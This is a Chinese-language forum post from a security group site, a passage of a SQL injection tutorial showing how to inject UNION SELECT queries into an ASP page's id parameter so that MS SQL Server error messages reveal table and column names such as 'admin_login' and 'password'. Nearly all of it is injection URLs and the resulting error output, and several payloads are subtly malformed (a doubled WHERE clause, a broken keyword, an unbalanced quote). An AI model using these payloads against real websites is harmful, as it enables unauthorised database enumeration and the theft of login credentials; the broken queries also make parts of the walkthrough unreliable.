|
作者: www [wish259] 论坛用户 | 登录 |
6.0如何可以从数据库返回的ODBC错误信息得到某些重要的数据呢? 我们可以通过发送精心构造的SQL请求迫使MS SQL SERVER从返回的信息中透露出我们想得到的信息(如表名、列名等)。比方有这么一个URL: http://duck/index.asp?id=10 在上面的URL中我们可以尝试使用UNION子句的方式在整数'10'之后加入其他请求字符串进去的,如: http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-- 上例中的系统表INFORMATION_SCHEMA.TABLES包括了这台服务器中所有表的信息。至于TABLE_NAME区域就包括了每一个表的名称。我们之所以要选择这样写是因为我们知道它是一定存在的。换言之我们的SQL询 问请求就是: SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES- 服务器接到请求数据后必将返回数据库的第一个表名。当我们使用UNION子句将请求字符串加入整数10之后时,MS SQL SERVER会尝试转换该字符串为整数值。既然我们不能把字符串(nvarchar)转为整数型(int)时,系统就会产生错误。服务器会显示如下错误信息: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ' table1' to a column of data type int. /index.asp, line 5 非常好,这条错误信息告诉了我们转换出现错误的所有相关信息(包括我们想知道的表名)。在这个实例中,我们知道了第一个表名是“table1”。若要得到下一个表名,我们可以发送这样的请求: http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WH ERE TABLE_NAME NOT IN ('table1')-- 我们也可以通过LIKE来找寻相关的特殊字: http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WH ERE TABLE_NAME LIKE '%25login%25'-- 输出得到: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ' admin_login' to a column of data type int. /index.asp, line 5 6.1如何找出表中的列名? 我们可以利用另一个比较重要的表INFORMATION_SCHEMA.COLUMNS来罗列出一个表的所有列名: http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'-- 输出显示为: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ' login_id' to a column of data type int. /index.asp, line 5 现在已经得到第一个列的名称了,我们还可以用NOT IN ()得到下一个列名: http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')-- 输出得到: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ' login_name' to a column of data type int. /index.asp, line 5 若继续重复这样的操作,我们将可以获得余下所有的列名,如"password"、"details"。当我们使用了下面的请求后就可以得到(除了'login_id','login_name','password',details'之外的列名): http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password' ,details')-- 输出后得到: Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator. /index.asp, line 5 |
地主 发表时间: 04-06-19 20:48 |
|
20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon
粤ICP备05087286号